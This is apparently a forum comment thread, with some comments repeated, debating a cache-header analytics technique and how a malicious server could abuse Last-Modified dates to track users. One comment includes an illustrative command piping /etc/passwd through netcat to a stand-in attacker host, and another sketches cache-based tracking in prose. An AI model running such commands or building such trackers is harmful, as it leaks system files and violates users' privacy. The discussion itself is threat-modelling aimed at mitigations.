7 ms·

In principle, screen resolution would in most cases be useless for trying to distinguish individuals. After all, it wouldn't even distinguish the underlying ha

In principle, screen resolution would in most cases be useless for trying to distinguish individuals. After all, it wouldn't even distinguish the underlying hardware, let alone a user of that hardware. But given omnipresent tracking, it's one more bit that can be used to identify you. In addition, your comment shows a severe lack of imagination. Suppose I'm a malicious server who wishes to track users. * For each new user, select a random "late-modified" date. Now, I can clearly distinguish between multiple different users, because "1985-01-01T00:00:10" is probably the 10th visit from whoever was given "1985-01-01T00:00:00" on their first visit. * If I have too many users for the above approach to uniquely identify a person, add more cached items. With HTTP/2, both HTTP requests would use the same TCP connection, so I can correlate the requests together. And, bam. That goes from "useless for trying to distinguish individuals, much less identify them" to a unique identifier stored in the cache invalidation dates.

lolinder 4y ago
That is a different technique that uses the same medium of storage. When I say "this technique" I'm referring to specifically what was discussed in the article. "Evil tracking companies will do evil things with any protocol features you give them" is already well known and there's not much to say about it that hasn't been said. What OP is actually doing is clever and new to me.
- MereInterest 4y ago
  I agree that it is clever, and it is new to me as well. However, saying that an obvious extension to a technique (posted by multiple people independently, no less) is a different technique altogether and therefore not germane is going a bit far. If I post a privilege escalation exploit that allows me to execute "cat /etc/sudoers", and somebody points out that it could also be used to execute "cat /etc/passwd | netcat malicious-remote-server.com", that's an obvious extension of the same technique. This is the same, where the same technique may be used for more intrusive attacks than are performed in the initial proof of concept.
  - lolinder 4y ago
    This kind of attack isn't new, though, trackers have been using side channel tracking forever now. A quick search shows that this exact side channel tracking vulnerability was discussed in the year 2000 [0]. I'm not saying the technique isn't similar: I just object to people dogpiling on OP because other people can and do abuse the same header in nefarious ways. It's not constructive, just a pointless attack on someone who's actually trying to improve privacy. [0] http://www.sourcefrog.net/projects/meantime http://www.sourcefrog.net/projects/meantime
    - xanthine 4y ago
      Unrelated: The link to meantime.py on this page is broken, and the correct link is http://sourcefrog.net/projects/meantime/meantime.py http://sourcefrog.net/projects/meantime/meantime.py
    - MereInterest 4y ago
      I wasn't attempting to dogpile, and am sorry if it came across that way. I agree that this scheme would, if used as a replacement for cookies in the manner described by the OP, be a strict improvement on the current state. That's the first step in evaluating a proposed privacy improvement. However, that is only sufficient if you already trust the operator of the server to maintain that same implementation. That may work for some threat models, such as a website that is currently run by a trusted individual that may later be bought by a malicious actor, but it isn't sufficient in all cases. Across the entire ecosystem, there's a sequence of questions that needs to be asked. 1. How would a non-malicious actor implement the proposed system? 2. What is the minimal amount of information that must be provided for a non-malicious actor to benefit from the proposed system? 3. What could a malicious actor do with that minimal amount of information? 4. If a malicious actor could use this information, are there additional steps the user can take to mitigate those effects? Together, these questions help to predict the effects of the proposed implementation becoming the standard. Applying it to this article: 1. As described in the original post. 2. The browser must cache files according to the cache policy requested, and the browser provides accurate information about its cache for subsequent requests. 3. Answered in previous comments, that malicious actors could use this to reproduce the same information as is stored in cookies. 4. I'm not sure yet, but I'm picturing an approach where the "if-modified-since" header is deliberately varied for some requests, and abnormal results cause the caching policy of that website to be ignored as untrustworthy. When people try to figure out what malicious acts could be done, it's moving the conversation from the first two questions and toward the last two questions. It isn't malicious, or reading into the original poster's intentions, but is an attempt to predict what malicious actions will eventually occur, and to implement mitigations as soon as possible.
dahfizz 4y ago
Of course this technique could be abused by a bad actor. That's true of literally everything in computing. Do you think we should ban encryption because bad people might encrypt stuff? TFA describes a way to provide basic analytics in a way that completely respects the user's privacy. That's a good thing.

lolinder 4y ago

That is a different technique that uses the same medium of storage. When I say "this technique" I'm referring to specifically what was discussed in the article. "Evil tracking companies will do evil things with any protocol features you give them" is already well known and there's not much to say about it that hasn't been said. What OP is actually doing is clever and new to me.

MereInterest 4y ago
I agree that it is clever, and it is new to me as well. However, saying that an obvious extension to a technique (posted by multiple people independently, no less) is a different technique altogether and therefore not germane is going a bit far. If I post a privilege escalation exploit that allows me to execute "cat /etc/sudoers", and somebody points out that it could also be used to execute "cat /etc/passwd | netcat malicious-remote-server.com", that's an obvious extension of the same technique. This is the same, where the same technique may be used for more intrusive attacks than are performed in the initial proof of concept.
- lolinder 4y ago
  This kind of attack isn't new, though, trackers have been using side channel tracking forever now. A quick search shows that this exact side channel tracking vulnerability was discussed in the year 2000 [0]. I'm not saying the technique isn't similar: I just object to people dogpiling on OP because other people can and do abuse the same header in nefarious ways. It's not constructive, just a pointless attack on someone who's actually trying to improve privacy. [0] http://www.sourcefrog.net/projects/meantime http://www.sourcefrog.net/projects/meantime
  - xanthine 4y ago
    Unrelated: The link to meantime.py on this page is broken, and the correct link is http://sourcefrog.net/projects/meantime/meantime.py http://sourcefrog.net/projects/meantime/meantime.py
  - MereInterest 4y ago
    I wasn't attempting to dogpile, and am sorry if it came across that way. I agree that this scheme would, if used as a replacement for cookies in the manner described by the OP, be a strict improvement on the current state. That's the first step in evaluating a proposed privacy improvement. However, that is only sufficient if you already trust the operator of the server to maintain that same implementation. That may work for some threat models, such as a website that is currently run by a trusted individual that may later be bought by a malicious actor, but it isn't sufficient in all cases. Across the entire ecosystem, there's a sequence of questions that needs to be asked. 1. How would a non-malicious actor implement the proposed system? 2. What is the minimal amount of information that must be provided for a non-malicious actor to benefit from the proposed system? 3. What could a malicious actor do with that minimal amount of information? 4. If a malicious actor could use this information, are there additional steps the user can take to mitigate those effects? Together, these questions help to predict the effects of the proposed implementation becoming the standard. Applying it to this article: 1. As described in the original post. 2. The browser must cache files according to the cache policy requested, and the browser provides accurate information about its cache for subsequent requests. 3. Answered in previous comments, that malicious actors could use this to reproduce the same information as is stored in cookies. 4. I'm not sure yet, but I'm picturing an approach where the "if-modified-since" header is deliberately varied for some requests, and abnormal results cause the caching policy of that website to be ignored as untrustworthy. When people try to figure out what malicious acts could be done, it's moving the conversation from the first two questions and toward the last two questions. It isn't malicious, or reading into the original poster's intentions, but is an attempt to predict what malicious actions will eventually occur, and to implement mitigations as soon as possible.

dahfizz 4y ago

Of course this technique could be abused by a bad actor. That's true of literally everything in computing. Do you think we should ban encryption because bad people might encrypt stuff? TFA describes a way to provide basic analytics in a way that completely respects the user's privacy. That's a good thing.